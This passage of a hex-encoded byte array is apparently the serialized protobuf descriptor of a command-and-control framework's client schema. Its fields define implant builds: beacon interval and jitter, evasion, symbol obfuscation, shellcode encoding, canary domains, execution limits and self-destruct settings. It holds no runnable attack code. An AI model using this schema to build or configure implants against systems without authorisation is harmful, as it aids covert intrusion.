0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, + 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xd7, 0x01, + 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x74, 0x72, 0x6f, 0x70, 0x79, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x07, 0x45, 0x6e, 0x74, 0x72, 0x6f, 0x70, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, + 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x43, + 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x78, 0x69, 0x74, 0x4f, + 0x70, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x45, 0x78, 0x69, 0x74, 0x4f, 0x70, + 0x74, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x79, 0x70, 0x61, 0x73, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x06, 0x42, 0x79, 0x70, 0x61, 0x73, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x55, + 0x6e, 0x69, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x55, 0x6e, + 0x69, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x4f, 0x45, 0x50, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x03, 0x4f, 0x45, 0x50, 0x22, 0xb3, 0x12, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x3c, 0x0a, 0x0d, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x52, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x10, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, + 0x26, 0x0a, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, + 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, + 0x4f, 0x4f, 0x53, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, + 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, 0x18, 0x0a, + 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, + 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, + 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x18, 0x0c, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, + 0x6f, 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, + 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, 0x45, 0x6e, + 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x47, 0x4e, + 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x47, 0x6f, 0x50, 0x61, 0x63, + 0x6b, 0x61, 0x67, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x47, 0x6f, 0x50, 0x61, + 0x63, 0x6b, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, + 0x4d, 0x54, 0x4c, 0x53, 0x18, 0x35, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x63, 0x6c, + 0x75, 0x64, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x63, 0x6c, 0x75, + 0x64, 0x65, 0x48, 0x54, 0x54, 0x50, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, + 0x63, 0x6c, 0x75, 0x64, 0x65, 0x48, 0x54, 0x54, 0x50, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, + 0x6c, 0x75, 0x64, 0x65, 0x57, 0x47, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, + 0x63, 0x6c, 0x75, 0x64, 0x65, 0x57, 0x47, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, + 0x64, 0x65, 0x44, 0x4e, 0x53, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x49, 0x6e, 0x63, + 0x6c, 0x75, 0x64, 0x65, 0x44, 0x4e, 0x53, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, + 0x64, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x50, 0x69, 0x70, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0f, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x50, 0x69, 0x70, + 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, 0x50, 0x18, + 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x43, + 0x50, 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, 0x49, 0x50, + 0x18, 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, + 0x6e, 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, + 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, + 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, + 0x6f, 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, + 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, + 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x28, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, + 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, + 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x18, 0x29, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, + 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, + 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, + 0x32, 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, + 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, + 0x73, 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, + 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, + 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, + 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, + 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, + 0x65, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, + 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, + 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, + 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, + 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, + 0x41, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, + 0x6c, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, + 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, + 0x62, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, + 0x64, 0x4c, 0x69, 0x62, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x18, 0x67, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, + 0x64, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, + 0x61, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x18, + 0x6a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, + 0x12, 0x18, 0x0a, 0x07, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x18, 0x6b, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x07, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x12, 0x43, 0x0a, 0x0f, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x6c, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0f, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x46, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x2b, 0x0a, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x96, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, + 0x62, 0x6c, 0x65, 0x64, 0x18, 0x97, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, + 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x37, 0x0a, 0x16, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, + 0x6c, 0x65, 0x64, 0x18, 0x98, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x54, 0x72, 0x61, 0x66, + 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, + 0x65, 0x64, 0x12, 0x29, 0x0a, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x99, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0f, 0x54, 0x72, + 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1d, 0x0a, + 0x09, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x9a, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x09, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x27, 0x0a, 0x06, + 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x18, 0xc8, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x06, 0x41, + 0x73, 0x73, 0x65, 0x74, 0x73, 0x12, 0x2f, 0x0a, 0x12, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, + 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x57, 0x61, 0x6b, 0x65, 0x18, 0xc9, 0x01, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x12, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x72, 0x69, 0x67, 0x67, + 0x65, 0x72, 0x57, 0x61, 0x6b, 0x65, 0x12, 0x31, 0x0a, 0x13, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, + 0x72, 0x57, 0x61, 0x6b, 0x65, 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, 0x72, 0x18, 0xca, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x57, 0x61, 0x6b, + 0x65, 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, 0x72, 0x12, 0x2d, 0x0a, 0x11, 0x54, 0x72, 0x69, + 0x67, 0x67, 0x65, 0x72, 0x57, 0x61, 0x6b, 0x65, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x18, 0xcb, + 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x11, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x57, 0x61, + 0x6b, 0x65, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x12, 0x41, 0x0a, 0x1b, 0x54, 0x72, 0x69, 0x67, + 0x67, 0x65, 0x72, 0x57, 0x61, 0x6b, 0x65, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x64, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x49, 0x44, 0x73, 0x18, 0xcc, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x1b, + 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x57, 0x61, 0x6b, 0x65, 0x41, 0x6c, 0x6c, 0x6f, 0x77, + 0x65, 0x64, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x44, 0x73, 0x12, 0x1f, 0x0a, 0x0a, 0x54, + 0x54, 0x4c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0xcd, 0x01, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0a, 0x54, 0x54, 0x4c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x2b, 0x0a, 0x10, + 0x54, 0x54, 0x4c, 0x45, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x55, 0x6e, 0x69, 0x78, + 0x18, 0xce, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x54, 0x54, 0x4c, 0x45, 0x78, 0x70, 0x69, + 0x72, 0x65, 0x73, 0x41, 0x74, 0x55, 0x6e, 0x69, 0x78, 0x12, 0x1f, 0x0a, 0x0a, 0x54, 0x54, 0x4c, + 0x4d, 0x69, 0x6e, 0x75, 0x74, 0x65, 0x73, 0x18, 0xcf, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, + 0x54, 0x54, 0x4c, 0x4d, 0x69, 0x6e, 0x75, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x11, 0x54, 0x54, + 0x4c, 0x42, 0x75, 0x72, 0x6e, 0x45, 0x78, 0x74, 0x72, 0x61, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, + 0xd0, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x11, 0x54, 0x54, 0x4c, 0x42, 0x75, 0x72, 0x6e, 0x45, + 0x78, 0x74, 0x72, 0x61, 0x50, 0x61, 0x74, 0x68, 0x73, 0x12, 0x2f, 0x0a, 0x12, 0x54, 0x54, 0x4c, + 0x42, 0x75, 0x72, 0x6e, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x65, 0x18, + 0xd1, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x12, 0x54, 0x54, 0x4c, 0x42, 0x75, 0x72, 0x6e, 0x50, + 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x65, 0x4a, 0x06, 0x08, 0x9b, 0x01, 0x10, + 0x9c, 0x01, 0x52, 0x09, 0x53, 0x70, 0x6f, 0x6f, 0x66, 0x44, 0x61, 0x74, 0x61, 0x22, 0x3b, 0x0a, + 0x11, 0x53, 0x70, 0x6f, 0x6f, 0x66, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x46, 0x69, + 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x94, 0x02, 0x0a, 0x18, 0x49, + 0x4d, 0x41, 0x47, 0x45, 0x5f, 0x52, 0x45, 0x53, 0x4f, 0x55, 0x52, 0x43, 0x45, 0x5f, 0x44, 0x49, + 0x52, 0x45, 0x43, 0x54, 0x4f, 0x52, 0x59, 0x12, 0x28, 0x0a, 0x0f, 0x43, 0x68, 0x61, 0x72, 0x61, + 0x63, 0x74, 0x65, 0x72, 0x69, 0x73, 0x74, 0x69, 0x63, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0f, 0x43, 0x68, 0x61, 0x72, 0x61, 0x63, 0x74, 0x65, 0x72, 0x69, 0x73, 0x74, 0x69, 0x63, + 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x69, 0x6d, 0x65, 0x44, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, + 0x6d, 0x70, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x54, 0x69, 